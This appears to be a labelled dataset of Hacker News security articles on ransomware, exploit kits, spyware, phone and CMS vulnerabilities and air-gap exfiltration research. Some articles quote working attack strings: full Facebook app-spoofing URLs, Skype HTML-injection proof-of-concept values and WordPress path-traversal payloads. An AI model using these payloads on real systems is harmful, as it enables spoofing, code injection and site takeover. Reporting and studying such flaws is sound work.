""Some time prior to the main phase of the operation, the attackers performed test connections to the VPN Gateway, apparently in order to make sure that the stolen user credentials for the VPN were still valid,"" Kaspersky researchers said.
Upon gaining access, the adversaries are said to have used the Mimikatz utility to siphon account credentials of Windows users who had previously logged in to the compromised system, then utilizing them to break into the domain administrator account, move laterally across the network, and eventually deploy the Cring ransomware on each machine remotely using the Cobalt Strike framework.
Cring, a nascent strain that was first observed in January 2021 by telecom provider Swisscom, encrypts specific files on the devices using strong encryption algorithms after removing traces of all backup files and terminating Microsoft Office and Oracle Database processes. Following successful encryption, it drops a ransom note demanding payment of two bitcoins.
What's more, the threat actor was careful to hide their activity by disguising the malicious PowerShell scripts under the name ""kaspersky"" to evade detection and ensured that the server hosting the ransomware payload only responded to requests coming in from European countries.
""An analysis of the attackers' activity demonstrates that, based on the results of the reconnaissance performed on the attacked organization's network, they chose to encrypt those servers which the attackers believed would cause the greatest damage to the enterprise's operations if lost,"" Kopeytsev said.

",Cyber_Attack
"'Paunch', Blackhole exploit kit creator and Gang arrested in Russia",https://thehackernews.com/2013/12/Punch-Blackhole-exploit-kit-arrested-in-russia.html,"In October, we had reported that the creator of the infamous Blackhole exploit kit was arrested in Russia and now the Russian Ministry of Internal Affairs has also confirmed that 'Paunch', the mastermind behind infamous BlackHole exploit kit, along with Gang of 12 other criminals were arrested on October 4, 2013 in Russia.
Russian security firm Group-IB has disclosed that it has assisted the police in the investigation of Paunch, who was residing in the city of Togliatti.

27-years old 'Paunch' is the author of the notorious BlackHole and Cool exploit kits that are today popular among cybercriminals and costs $500 to $700 a month in for buyers.

Cool and Blackhole exploit kits are the ready-made hacking tools for easily serving malware from compromised sites, in result to install malware on users' computers using exploits of zero-day vulnerabilities in latest web browsers. The general damage caused by the criminal gang is estimated around US $2.13 million.

'At present, there are reports that BlackHole kingpin, 'Paunch' , has more than a thousand customers. It is known that 'Paunch' was earning $50,000 per month from his illegal activity and had a white Porsche Cayenne as his personal car.' Group-IB said in a press release.

He also created Crypt.Am − an anonymous anti-virus simulator, which provided services for protection of malware against detection by antivirus programs.

",Vulnerability
Warning: Millions of Xiaomi Phones Vulnerable to Remote Hacking,https://thehackernews.com/2016/07/hack-Xiaomi-phone.html,"Millions of Xiaomi smartphones are vulnerable to a dangerous remote code execution (RCE) vulnerability that could grant attackers complete control of handsets.

The vulnerability, now patched, exists in MIUI – Xiaomi's own implementation of the Android operating system – in versions prior to MIUI Global Stable 7.2 which is based on Android 6.0.

The flaw, discovered by IBM X-Force researcher David Kaplan, potentially allows attackers with privileged network access, such as cafe Wi-Fi, to install malware remotely on the affected devices and fully compromise them.

Researchers found some apps in the analytics package in MIUI, which can be abused to provide malicious ROM updates remotely through a man-in-the-middle attack.
""The vulnerability we discovered allows for a man-in-the-middle attacker to execute arbitrary code as the highly privileged Android 'system' user,"" researchers say.
Researchers say they discovered vulnerable analytics packages in at least four default apps provided by Xiaomi in its MIUI distributions, one of those apps being the default browser app.

The flaw allows an attacker to inject a JSON response to force an update by replacing the link and MD5 hash with a malicious Android application package containing malicious code, which is executed at the system level.

Since there is not any cryptographic verification of the update code, the analytics package (com.xiaomi.analytics) will replace itself with ""the attacker-supplied version via Android's DexClassLoader mechanism.""

In order words, the analytics package neither uses HTTPS to query an update server for updates, nor it downloads the package over HTTPS, thus allowing attackers to modify the updates.

The custom ROM ships on devices manufactured by developer Xiaomi – World's third largest smartphone maker with over 70 Million devices shipped just last year alone – and is also ported to over 340 different handsets including Nexus, Samsung, and HTC.

Since the company has patched the flaw and released a over-the-air update, users are strongly recommended to update their firmware to version 7.2 as soon as possible in order to ensure they are not vulnerable to this issue that plagues Millions of Xiaomi devices.

",Vulnerability
"Facebook Hacking, technique to Spoof the content of any Facebook App",https://thehackernews.com/2013/05/facebook-hacking-technique-to-spoof.html,"There are many unpatched loopholes or flaws in Facebook website, that allow hackers to inject external links or images to a wall, hijacking any facebook account or bypassing your social privacy. Today we are going to report about another unfixed facebook app vulnerability that allow a hacker to spoof the content of any Facebook app easily.

Nir Goldshlager from Break Security today exposed another major flaw that allows hacker to wall post spoofed messages from trusted applications like Saavn, Candy Crush, Spotify, Pinterest, or really any other application on Facebook.
In 2012 Facebook's method of publishing called stream.publish and the Stream Publish Dialog looks like the following:

https://www.facebook.com/dialog/stream.publish?app_id=xxxx&redirect_uri=https://www.facebook.com/&action_links=&attachment=%7B%27media%27:%20[%7B%27type%27:%20%27flash%27,%27swfsrc%27:%27https://files.nirgoldshlager.com/goldshlager2.swf%27,%27imgsrc%27:%27https://www.vectorstock.com/i/composite/41,30/hacked-pc-vector-194130.jpg%27,%27width%27:%27130%27,%27height%27:%27%20130%27,%27expanded_width%27:%27500%27,%27expanded_%20height%27:%27500%27%7D],%27name%27:%27xxxx%27,%27caption%27:%27xxxx%20Application%27,%27properties%27:%7B%27xxx%27:%7B%27text%27:%27Download%20xxx%27,%27href%27:%27https://nirgoldshlager.com%27%7D%7D%7D

Where app_id and attachment (swfsr,imgsrc,href) parameters can be targeted by hackers i.e using app_id value as application ID of any application you want to spoof (Saavn, Spotify, etc.) and an attacker must produce attachment parameters like swfrsc and imgsrc.

If the ""Stream post URL security"" option is disabled by the developer of that application, hacker can use any remotely uploaded swf file as attachment parameter.

""every time a victim visits my wall post, they will see content spoofing from a Facebook application that they generally trust. Clicking the link on the post makes an swf file from the external website execute on his client machine."" Nir said.
But in 2013, Facebook changed the mechanism of stream.publish posting and introduced new parameters as explained below:
Link parameter: With this parameter, we will include our malicious external link (virus exe file, 0days, Phishing site, or any other malicious link.
Picture Parameter: This parameter is only usable if we want to spoof the content with an image. The content of the image will only display correctly on our Wall post. It will not display correctly in the newsfeed, making it relevant only to wall post app spoofing.
Caption Parameter: This parameter will allow to an attacker choose from which website the content came from, For Example: Facebook.com Zynga.com Ownerappdomain.com
Name Parameter: This parameter produces the title we desire. Whenever the victim clicks on that title, he will be taken to our malicious website.


Few examples as given below:
Diamond Dash:
https://www.facebook.com/dialog/feed?app_id=127995567256931&link=https://nmap.org/dist/nmap-6.20BETA1-setup.exe&picture=https://www.topandroidapplication.com/wp-content/uploads/2013/04/diamond-dash.png&name=Diamond%20Dash%20For%20Windows&%20caption=https://facebook.com&description=&%20redirect_uri=https://facebook.com
SoundCloud:
https://www.facebook.com/dialog/feed?app_id=19507961798&link=https://nmap.org/dist/nmap-6.20BETA1-setup.exe&picture=https://www.atpfestival.com/assets/img/soundcloud.png&name=Download%20SoundCloud%20For%20Windows&%20caption=https://soundcloud.com&description=&%20redirect_uri=https://facebook.com
Skype:
https://www.facebook.com/dialog/feed?app_id=260273468396&link= https://touch.facebook.com/apps/sdfsdsdsgs &picture=https://he.downloadastro.com/static/files/24/3b/29/243b29a6163cc99e359f4c354422f238.jpg&name=Download%20Skype%20New%20Version&%20caption=https://skype.com&description=&%20redirect_uri=https://facebook.com
Slidshare
https://www.facebook.com/dialog/feed?app_id=2490221586&link=%20https://touch.facebook.com/apps/sdfsdsdsgs/&picture=https://www.samsamia.com/wp-content/uploads/2012/11/slideshare-logo-300×300-e1353118471460.png&name=SlideShare%20For%20Windows&%20caption=slidshare.com&description=&%20redirect_uri=https://facebook.com

Spoofing the parameters again allowing one to spoof the content of any Facebook app and flaw is still unpatched. This techniques can be widely used by cyber crooks to social engineer facebook users or to install malwares on their systems.

",Vulnerability
Google discloses Critical Windows Zero-Day that makes all Windows Users Vulnerable,https://thehackernews.com/2016/10/google-windows-zero-day.html,"Google has once again publicly disclosed a zero-day vulnerability in current versions of Windows operating system before Microsoft has a patch ready.

Yes, the critical zero-day is unpatched and is being used by attackers in the wild.

Google made the public disclosure of the vulnerability just 10 days after privately reporting the issue to Microsoft, giving the chocolate factory little time to patch issues and deploy a fix.

According to a blog post by Google's Threat Analysis Group, the reason behind going public is that it has seen exploits for the vulnerability in the wild and according to its internal policy, companies should patch or publicly report such bugs after seven days.

Windows Zero-Day is Actively being Exploited in the Wild

The zero-day is a local privilege escalation vulnerability that exists in the Windows operating system kernel. If exploited, the flaw can be used to escape the sandbox protection and execute malicious code on the compromised system.

The flaw ""can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD,"" Google's Neel Mehta and Billy Leonard said in a blog post.

""Chrome's sandbox blocks win32k.sys system calls using the Win32k lockdown mitigation on Windows 10, which prevents exploitation of this sandbox escape vulnerability.""

The blog post also notes that Google reported a zero-day flaw (CVE-2016-7855) in Flash Player to Adobe at the same time as it contacted Microsoft. Adobe pushed an emergency patch for its software last Wednesday.

The Flash Player bug was also being exploited in the wild against organizations in targeted attacks. According to Adobe, the flaw affected Windows 7, 8.1 and 10 systems.

Since the Windows zero-day vulnerability is being actively exploited in the wild, Google shared only basic details about the bug on Monday.

Microsoft has yet to Rolled out a Fix

Needless to say, Microsoft is not at all happy about the disclosure.

In response, Microsoft said Google's disclosure has potentially placed customers at risk, adding that the company believes in coordinated vulnerability disclosure.
""We believe in coordinated vulnerability disclosure, and today's disclosure by Google puts customers at potential risk,"" a Microsoft spokesperson said in a statement. ""Windows is the only platform with a customer commitment to investigate reported security issues and proactively update impacted devices as soon as possible. We recommend customers use Windows 10 and the Microsoft Edge browser for the best protection.""
Microsoft has not provided any details as to when the company will roll out a fix for the flaw.

This is not the very first time that Google and Microsoft have been at odds over vulnerability disclosure. Microsoft has a long history of bungling patches, so the move could eventually lead the company into quickly rolling out an update.

Meanwhile, users are advised to update their Flash software now and apply Windows patches as soon as they become available.

",Vulnerability
Third Critical Drupal Flaw Discovered—Patch Your Sites Immediately,https://thehackernews.com/2018/04/drupal-vulnerability-exploit.html,"Damn! You have to update your Drupal websites.

Yes, of course once again—literally it's the third time in last 30 days.

As notified in advance two days back, Drupal has now released new versions of its software to patch yet another critical remote code execution (RCE) vulnerability, affecting its Drupal 7 and 8 core.

Drupal is a popular open-source content management system software that powers millions of websites, and unfortunately, the CMS has been under active attacks since after the disclosure of a highly critical remote code execution vulnerability.

The new vulnerability was discovered while exploring the previously disclosed RCE vulnerability, dubbed Drupalgeddon2 (CVE-2018-7600) that was patched on March 28, forcing the Drupal team to release this follow-up patch update.

According to a new advisory released by the team, the new remote code execution vulnerability (CVE-2018-7602) could also allow attackers to take over vulnerable websites completely.

How to Patch Drupal Vulnerability

Since the previously disclosed flaw derived much attention and motivated attackers to target websites running over Drupal, the company has urged all website administrators to install new security patches as soon as possible.
If you are running 7.x, upgrade to Drupal 7.59.
If you are running 8.5.x, upgrade to Drupal 8.5.3.
If you are running 8.4.x, which is no longer supported, you need first to update your site to 8.4.8 release and then install the latest 8.5.3 release as soon as possible.
It should also be noted that the new patches will only work if your site has already applied patches for Drupalgeddon2 flaw.
""We are not aware of any active exploits in the wild for the new vulnerability,"" a drupal spokesperson told The Hacker News. ""Moreover, the new flaw is more complex to string together into an exploit.""
Technical details of the flaw, can be named Drupalgeddon3, have not been released in the advisory, but that does not mean you can wait until next morning to update your website, believing it won't be attacked.

We have seen how attackers developed automated exploits leveraging Drupalgeddon2 vulnerability to inject cryptocurrency miners, backdoors, and other malware into websites, within few hours after it's detailed went public.

Besides these two flaws, the team also patched a moderately critical cross-site scripting (XSS) vulnerability last week, which could have allowed remote attackers to pull off advanced attacks including cookie theft, keylogging, phishing and identity theft.

Therefore, Drupal website admins are highly recommended to update their websites as soon as possible.

",Cyber_Attack
Airport VPN hacked using Citadel malware,https://thehackernews.com/2012/08/airport-vpn-hacked-using-citadel-malware.html,"It sounds like an air traveler's nightmare, Researchers at Trusteer recently uncovered a variant of the Citadel Trojan targeting the virtual private network (VPN) credentials used by employees at a major airport.The firm would not disclose the name of the airport because the situation is being investigated by law enforcement.

Many businesses use VPNs to provide outside workers with access to secure data. Incursions on these networks often involve advanced ""Man in the Browser"" malware such as the Citadel, Zeus, and SpyEye programs. The man-in-the-browser (MITB) assault first used form-grabbing malware, which steals data entered into web forms before it is passed over the internet, to steal the airport employees' VPN usernames and passwords, Amit Klein, Trusteer's chief technology officer, said in a blog post.

""This was potentially very dangerous, but we don't know whether the attacker group was targeting the financial system of the airport for economic gain or if the attack was terrorism-related,""

The airport VPN was immediately disconnected after officials there were made aware of the breach and authorities are investigating.

The product that the airport was using to provide strong authentication for employees gave each user two choices: log in with a username and a one-time password that's sent via SMS or a smartphone app; or log in using a CAPTCHA-like image of 10 digits that the user maps to his own static password. The Citadel malware used the screen-capture tactic to defeat this.

""This security measure prevents the form grabber from capturing the actual static password. This is where the screen capturing feature in Citadel kicks in,"" Klein said.

Trusteer doesn't know who the attackers are and what they are after, but Kedem says they could be trying to gather intelligence on airport security processes, or even the border customs service.He says the attack appears to be very targeted, and the bottom line is that VPN connections are not safe.

In addition to using endpoint cybercrime prevention software, Kedem also advises users to abide by standard practices for preventing infection: avoid opening unknown attachments or clicking links in emails.

",Vulnerability
SQLi vulnerability in United Nation's (UN) Website !,https://thehackernews.com/2011/05/sqli-vulnerability-in-united-nations-un.html,"SQLi vulnerability in United Nation's (UN) Website !


SQLi vulnerability in United Nation's (UN) Website has been exposed on https://seclists.org/ . This Security flaw allow hackers to extract all Database of Chinese Part of United Nation's (UN) Website. Proof of Concept is available here.

",Vulnerability
Exfiltrating Data from Air-Gapped Computers via Wi-Fi Signals (Without Wi-Fi Hardware),https://thehackernews.com/2020/12/exfiltrating-data-from-air-gapped.html,"A security researcher has demonstrated that sensitive data could be exfiltrated from air-gapped computers via a novel technique that leverages Wi-Fi signals as a covert channel—surprisingly, without requiring the presence of Wi-Fi hardware on the targeted systems.
Dubbed ""AIR-FI,"" the attack hinges on deploying a specially designed malware in a compromised system that exploits ""DDR SDRAM buses to generate electromagnetic emissions in the 2.4 GHz Wi-Fi bands"" and transmitting information atop these frequencies that can then be intercepted and decoded by nearby Wi-Fi capable devices such as smartphones, laptops, and IoT devices before sending the data to remote servers controlled by an attacker.
The findings were published today in a paper titled ""AIR-FI: Generating Covert Wi-Fi Signals from Air-Gapped Computers"" by Dr. Mordechai Guri, the head of R&D at Ben-Gurion University of the Negev's Cyber-Security Research Center, Israel.
""The AIR-FI attack [...] does not require Wi-Fi related hardware in the air-gapped computers,"" Dr. Guri outlined.
""Instead, an attacker can exploit the DDR SDRAM buses to generate electromagnetic emissions in the 2.4 GHz Wi-Fi bands and encode binary data on top of it.""
Dr. Guri, earlier this May, also demonstrated POWER-SUPPLaY, a separate mechanism that allows the malware to exploit a computer's power supply unit (PSU) to play sounds and use it as an out-of-band, secondary speaker to leak data.
Air-gapped computers — machines with no network interfaces — are considered a necessity in environments where sensitive data is involved in an attempt to reduce the risk of data leakage.
Thus in order to carry out attacks against such systems, it is often essential that the transmitting and receiving machines be located in close physical proximity to one another and that they are infected with the appropriate malware to establish the communication link.
But AIR-FI is unique in that the method neither relies on a Wi-Fi transmitter to generate signals nor requires kernel drivers, special privileges such as root, or access to hardware resources to transmit the data.
What's more, the covert channel works even from within an isolated virtual machine and has an endless list of Wi-Fi enabled devices that can be hacked by an attacker to act as a potential receiver.
The kill chain in itself consists of an air-gapped computer onto which the malware is deployed via social engineering lures, self-propagating worms such as Agent.BTZ, tampered USB flash drives, or even with the help of malicious insiders.
It also requires infecting Wi-Fi capable devices co-located in the air-gapped network by compromising the firmware of the Wi-Fi chips to install malware capable of detecting and decoding the AIR-FI transmission and exfiltrating the data over the Internet.
With this setup in place, the malware on the target system collects the relevant data (e.g., confidential documents, credentials, encryption keys), which is then encoded and transmitted in the Wi-Fi band at 2.4 GHz frequency using the electromagnetic emissions generated from the DDR SDRAM buses used to exchange data between the CPU and the memory, thus defeating air-gap isolation.
To generate the Wi-Fi signals, the attack makes use of the data bus (or memory bus) to emit electromagnetic radiation at a frequency correlated to the DDR memory module and the memory read/write operations executed by processes currently running in the system.
AIR-FI was evaluated using four types of workstations with different RAM and hardware configurations as well as a software-defined radio (SDR) and a USB Wi-Fi network adapter that functioned as the receiver, finding that the covert channel can be effectively maintained at distances up to several meters from air-gapped computers and achieving bit rates ranging from 1 to 100 bit/sec, depending on the type and mode of receiver used.
If anything, the new research is yet another reminder that electromagnetic, acoustic, thermal, and optical components continue to be lucrative vectors to mount sophisticated exfiltration attacks against air-gapped facilities.
As a countermeasure, Dr. Guri proposes zone protections to safeguard against electromagnetic attacks, enabling intrusion detection systems to monitor and inspect for processes that perform intensive memory transfer operations, jamming the signals, and using Faraday shields to block the covert channel.
The AIR-FI malware shows ""how attackers can exfiltrate data from air-gapped computers to a nearby Wi-Fi receiver via Wi-Fi signals,"" he added.
""Modern IT environments are equipped with many types of Wi-Fi capable devices: smartphones, laptops, IoT devices, sensors, embedded systems, and smart watches, and other wearables devices. The attacker can potentially hack such equipment to receive the AIR-FI transmissions from air-gapped computers.""

",Malware
Two US State Election Systems Hacked to Steal Voter Databases — FBI Warns,https://thehackernews.com/2016/08/election-system-hack.html,"A group of unknown hackers or an individual hacker may have breached voter registration databases for election systems in at least two US states, according to the FBI, who found evidence during an investigation this month.

Although any intrusion in the state voting system has not been reported, the FBI is currently investigating the cyberattacks on the official websites for voter registration system in both Illinois and Arizona, said Yahoo News.

The FBI's Cyber Division released a ""Flash Alert"" to election offices and officials across the United States, asking them to watch out for any potential intrusions and take better security precautions.
""In late June 2016, an unknown actor scanned a state's Board of Election website for vulnerabilities using Acunetix, and after identifying a Structured Query Language (SQL) injection (SQLi) vulnerability, used SQLmap to target the state website,"" the FBI alert reads.
""The majority of the data exfiltration occurred in mid-July. There were 7 suspicious IPs and penetration testing tools Acunetix, SQLMap, and DirBuster used by the actor.""
The SQL injection attack on Illinois state board website took place in late July, which brought down the state's voter registration for ten days and siphoned off data on as many as 200,000 registered voters.

However, the Arizona attack was less significant, as the hackers were not able to discover any potential loophole using a vulnerability scanning tool, which could have allowed them to steal any data successfully.

In the wake of these attacks, the FBI also advised 'Board of Elections' of all States to investigate their server logs and determine whether any similar SQL injection, privilege escalation attempts, or directory enumeration activity has occurred.

Last December, a misconfigured 300GB of the database also resulted in the exposure of around 191 Million US Voter records, including their full names, home addresses, unique voter IDs, date of births and phone numbers.

Why Blame Russia, Always? There's No Evidence Yet

The attacks against the state election boards came weeks after the DNC hack that leaked embarrassing emails about the party, leading to the resignation of DNC (Democratic National Committee) Chairwoman Debbie Wasserman Schultz.

Some security experts and law enforcement agencies raised concerns about politically motivated hacking, pointing finger over the Russian state-sponsored hackers in an attempt to damage Hillary Clinton's presidential campaign.

Although the FBI does not attribute the recent attacks to any particular hacking group or country, Yahoo News links the attacks to Russia on the basis of IP addresses involved.

However, those IP addresses that the FBI said were associated with the attacks belong to a Russian VPN service, which does not conclude that the Russians are behind the attacks.

It's believed that the hacks were carried out to disturb the election process either by altering voting totals in the database or by modifying the voter registration page.

Script-Kiddie Move Reveals Everything:

But, by scanning the website with a vulnerability scanner and downloading the whole database, the 'script-kiddies' itself made a rod for their own back, which indicates that neither they are sophisticated state-sponsored hackers, nor they had any intention to influence the election covertly.

Neither the Illinois nor Arizona board of elections have responded to these hack attempts.

",Cyber_Attack
Skype zero day HTML/(Javascript) code injection,https://thehackernews.com/2011/08/skype-zero-day-htmljavascript-code.html,"Skype zero day HTML/(Javascript) code injection
Noptri Public Security Advisory has publised a working skype zero day vulnerability with POC for skype. Skype users need be aware of this vulnerability.
Affected Software:
Software: Skype <= 5.5.0.113
Affected Platforms:
Windows (XP, Vista, 7)
Problem Description:
Skype suffers from a persistent code injection vulnerability due to a lack
of input validation and output sanitization of following profile entries:
[+] home
[+] office
[+] mobile
Proof of Concept:
The following HTML codes can be used to trigger the described vulnerability:
--- SNIP ---
[+] Home Phone Number:
<b>INJECTION HERE</b>
[+] Office Phone Number:
<center><i>INJECTION HERE</i></center>
[+] Mobile Phone Number:
<a href=""#"">INJECTION HERE</a>
Impact:
An attacker could for example inject HTML/Javascript code. It has not been verified though, if it's possible to hijack cookies or to attack the underlying operating system. Attacker could give a try using extern .js files...

",Vulnerability
Critical Flaw Uncovered In WordPress That Remained Unpatched for 6 Years,https://thehackernews.com/2019/02/wordpress-remote-code-execution.html,"Exclusive — If you have not updated your website to the latest WordPress version 5.0.3, it's a brilliant idea to upgrade the content management software of your site now. From now, I mean immediately.

Cybersecurity researchers at RIPS Technologies GmbH today shared their latest research with The Hacker News, revealing the existence of a critical remote code execution vulnerability that affects all previous versions of WordPress content management software released in the past 6 years.

The remote code execution attack, discovered and reported to the WordPress security team late last year, can be exploited by a low privileged attacker with at least an ""author"" account using a combination of two separate vulnerabilities—Path Traversal and Local File Inclusion—that reside in the WordPress core.

The requirement of at least an author account reduces the severity of this vulnerability to some extent, which could be exploited by a rogue content contributor or an attacker who somehow manages to gain author's credential using phishing, password reuse or other attacks.
""An attacker who gains access to an account with at least author privileges on a target WordPress site can execute arbitrary PHP code on the underlying server, leading to a full remote takeover,"" Scannell says.

Video Demonstration — Here's How the Attack Works
According to Simon Scannell, a researcher at RIPS Technologies GmbH, the attack takes advantage of the way WordPress image management system handles Post Meta entries used to store description, size, creator, and other meta information of uploaded images.

Scannell found that a rogue or compromised author account can modify any entries associated with an image and set them to arbitrary values, leading to the Path Traversal vulnerability.
""The idea is to set _wp_attached_file to evil.jpg?shell.php, which would lead to an HTTP request being made to the following URL: https://targetserver.com/wp-content/uploads/evil.jpg?shell.php,"" Scannell explains.
And, ""it is still possible to plant the resulting image into any directory by using a payload such as evil.jpg?/../../evil.jpg.""
The Path Traversal flaw in combination with a local file inclusion flaw in theme directory could then allow the attacker to execute arbitrary code on the targeted server.

The attack, as shown in the proof-of-concept video shared by the researcher, can be executed within seconds to gain complete control over a vulnerable WordPress blog.

According to Scannell, the code execution attack became non-exploitable in WordPress versions 5.0.1 and 4.9.9 after patch for another vulnerability was introduced which prevented unauthorized users from setting arbitrary Post Meta entries.

However, the Path Traversal flaw is still unpatched even in the latest WordPress version and can be exploited if any installed 3rd-party plugin incorrectly handles Post Meta entries.

Scannell confirmed that the next release of WordPress would include a fix to completely address the issue demonstrated by the researcher.

",Vulnerability
Google added malicious apps scanner to Chrome Web Store,https://thehackernews.com/2013/06/Chrome-Web-Store-malware-app-scanner.html,"Over the past few years, Cyber Criminals have choose the official Google Chrome Web Store to push malware. In a recent announcement by Google, like Google Play Android apps store, all new apps uploaded to the Chrome Web Store will now also be automatically scanned for malware.
Also, Google warned developers that it may take a little longer than before for their app to go live in the store, and scanning may take from just a few minutes up to an hour.

""Starting today in the Chrome Web Store, you might notice that your item is not broadly available immediately after you publish it.""

It is always against the Chrome Web Store Content Policies to distribute malware, if developer still wants to upload something malicious, they should cancel the process and withdraw their program.

""This new functionality does not require any action on the part of developers. When you publish an item in the store, the developer dashboard will indicate that your item is in the process of being published. "" Google said.

",Malware
Warrant Authorized FBI to Track and Infect Computers with Malware,https://thehackernews.com/2014/08/warrant-authorized-fbi-to-track-and_16.html,"Tor has always been a tough target for law enforcement for years, but the United States Federal Bureau of Investigation (FBI) has found a way to successfully track users across the network.

Just a few days back, Tor made a difficult announcement that an attack on its system likely exposed its users of anonymity. Now, a new report from Wired suggests that the FBI has been running a malware campaign to identify Tor users by infecting their computers for years on a large scale.

FBI USES DRIVE-BY HACKING TO TRACK USERS
Tor is generally thought to be a place where users come online to hide their activities and remain anonymous, but a court case has revealed an opposite story. FBI has been using a tactic called drive-by hacking to track computers using the Tor anonymous computing system.

Security researchers call the tactic a ""drive-by download"" in which a hacker infiltrates a high-traffic website to deliver the malware to large swaths of visitors. That simply means that the FBI first infects the target sites and then installs malware to tracks its users.

PARTICULARLY TARGETING DARKNET WEBSITES
Under the Operation Torpedo, the FBI agents are using drive-by hacking particularly to track users on the Dark Net, hidden websites that are only accessible through Tor anonymity network. These dark websites usually deal in serious activity like drugs, child porn and murder contracts.

Like the 2012 case of Aaron McGrath, who was found hosting child pornography websites on a network of servers in Nebraska. After obtaining legal warrants to track certain individuals accessing McGrath's servers, the FBI agents infected servers with tracking malware to identify the root IP of anyone who visited the website.

As a result, the FBI were successful in tracking the IP address of as many as 25 individuals in this case. To the FBI's credit, it has owned up to these techniques in the past and tracked users across Tor before.

YOU MIGHT BE IN DANGER IF USING TOR
This sophisticated use of tracking malware comes out to be a great tool to help law enforcement find and arrest the terrible criminals. But, in past we had seen some evidence that the FBI is tracking innocent users of Tor anonymity network, as well.

Many are worried about this tracking tactic that is also used to track people legally visiting other suspicious sites like researchers or human rights workers.

""You could easily imagine them using this same technology on everyone who visits a jihadi forum, for example,"" the ACLU technologist Chris Soghoian told Wired. ""And there are lots of legitimate reasons for someone to visit a jihadi forum: research, journalism, lawyers defending a case. ACLU attorneys read Inspire Magazine, not because we are particularly interested in the material, but we need to cite stuff in briefs.""

Nobody is sure whether the innocent Tor users are targeted in this so-called Operation Torpedo, but the FBI agents are expected to use these drive-by download tools in near future as well. As they don't have to reveal exactly what they are doing, just because of the fact that they're hacking only into the unsuspecting Americans' computers is going to be unnoticed by the judges.
The ACLU is also worried that judges issuing the legal search warrants to the FBI which make these tracking malware attacks legal, don't fully understand the technology. In fact, the search warrants for the Operation Torpedo, didn't actually contain the word like malware anywhere.

So, if you are also the one to use Tor to legally access potentially dangerous sites, no matter for what purpose you are there - THE FBI HAS AN EYE ON YOU.

",Malware
OpenSSL to Patch Undisclosed High Severity Vulnerability this Thursday,https://thehackernews.com/2015/07/openssl-vulnerability-patch.html,"Attention Please! System Administrator and anyone relying on OpenSSL should be prepared to switch to a new version of the open-source crypto library that will be released this Thursday 9th July.

OpenSSL is a widely used open-source software library that provides encrypted Internet connections using SSL/TLS for majority of websites, as well as other secure services.

The new versions of OpenSSL crypto library, versions 1.0.2d and 1.0.1p, address a single security vulnerability classified as ""high severity,"" the OpenSSL Project Team announced on Monday.

There isn't more details about the mystery security vulnerability available yet, except for the fact that the security vulnerability doesn't affect the 1.0.0 or 0.9.8 series.
""The OpenSSL project team would like to announce the forthcoming release of OpenSSL versions 1.0.2d and 1.0.1p,"" developer Mark J Cox announced in a mailing list note published yesterday.
""These releases will be made available on 9th July. They will fix a single security defect classified as 'high' severity. This defect does not affect the 1.0.0 or 0.9.8 releases.""
The announcement of the new variants of OpenSSL was made in the concisest fashion possible to prevent cyber attackers from exploiting the hole before the fix is released to the public.

Some security experts have speculated that this high severity bug could be another Heartbleed or POODLE bug that were considered to be the worst TLS/SSL vulnerabilities still believed to be affecting websites on Internet today.

Heartbleed, discovered in April last year, was a bug in an earlier version of OpenSSL that allowed hackers to read sensitive contents of victims' encrypted data, including credit card details and even steal crypto SSL keys from Internet servers or client software.

Months later, another critical flaw known as POODLE -- Padding Oracle On Downgraded Legacy Encryption -- was unearthed in the decade old but widely used SSL 3.0 cryptographic protocol that allowed attackers to decrypt the contents of encrypted connections.

However, a bunch of high severity vulnerabilities were fixed in March this year, which included denial-of-service (DoS) flaw (CVE-2015-0291) that allowed attackers to crash online services, and FREAK (CVE-2015-0204) that allowed attackers to force clients to use weaker encryption.

",Vulnerability
FBI Arrested CEO of 'StealthGenie' for Selling Mobile Spyware Apps,https://thehackernews.com/2014/09/Mobile-spying-app.html,"The Federal Bureau of Investigation (FBI) has arrested the CEO of a UK-based company for allegedly advertising and selling a spyware app to individuals who suspect their romantic partners of cheating on them.

The dodgy cell phone spyware application, dubbed as StealthGenie, monitors victims' phone calls, text messages, videos, emails and other communications ""without detection"" when it is installed on a target's phone, according to the Department of Justice.

The chief executive officer of a mobile spyware maker is a Pakistani man collared 31-year-old Hammad Akbar, of Lahore, who was arrested over the weekend in Los Angeles for flogging StealthGenie spyware application and now faces a number of federal charges.

According to the US Department of Justice, Akbar operates a company called InvoCode, which sold the StealthGenie spyware app online that can intercept communications to and from mobile phones including Apple, Google, and BlackBerry devices.

The company's business plan for the product focused on ""the spousal cheat"" market, which was expected to constitute 65 percent of the StealthGenie app purchasers, as the plan even spelled that out, stating that the target audience was cheating spouses and romantic partners.
""According to our market research, the majority chunk of the sales will come from people suspecting their partners to be cheating on them or wanting to keep an eye on them,"" the business plan stated according to the indictment.
Once installed on the phone, it allows conversations to be monitored as they take place, enables the purchaser to call the phone and activate it at any time to monitor all surrounding conversations within a 15-foot radius, and collects the user's incoming and outgoing email and SMS messages, incoming voicemail, address book, calendar, photographs, and videos. All of these functions are enabled without the knowledge of the user of the phone.

StealthGenie spyware application, according to the law enforcement agency, is able to:
Record all incoming/outgoing voice calls;
Intercept calls on the phone to be monitored while they take place;
Allow the attackers to call the phone and activate the app any time in order to monitor all surrounding conversations within a 15-foot radius;
Monitor the user's incoming and outgoing e-mail messages, SMS messages, incoming voicemail messages, address book additions, as well as Smartphones' calendar, photographs, and videos.
The federal prosecutors said this case is the first time that the US Department of Justice has prosecuted someone for advertising and selling mobile device spyware apps that targets adults.
""Selling spyware is not just reprehensible, it's a crime,"" Assistant Attorney General Leslie Caldwell of the Justice Department's Criminal Division said in a statement. ""Apps like StealthGenie are expressly designed for use by stalkers and domestic abusers who want to know every detail of a victim's personal life--all without the victim's knowledge.""
Akbar was charged with conspiracy, sale of a surreptitious interception device, advertisement of a known interception device and advertising a device as a surreptitious interception device in US District Court for the Eastern District of Virginia.

",Malware
BASHLITE Malware leverages ShellShock Bug to Hijack Devices Running BusyBox,https://thehackernews.com/2014/11/bashlite-malware-leverages-shellshock.html,"Cyber criminals are using new malware variants by exploiting GNU Bash vulnerability referred to as ShellShock (CVE-2014-6271) in order to infect embedded devices running BusyBox software, according to a researcher.

A new variant of ""Bashlite"" malware targeting devices running BusyBox software was spotted by the researchers at Trend Micro shortly after the public disclosure of the ShellShock vulnerability.

BusyBox provides set of command line utilities that are specifically designed to run in constrained embedded environments. At compile time, different capabilities can be left out, reducing the size of the binaries, and efforts are made to make them memory efficient. This makes the software an excellent candidate for use in consumer electronics devices, which seem to have been the items of interest in this case.

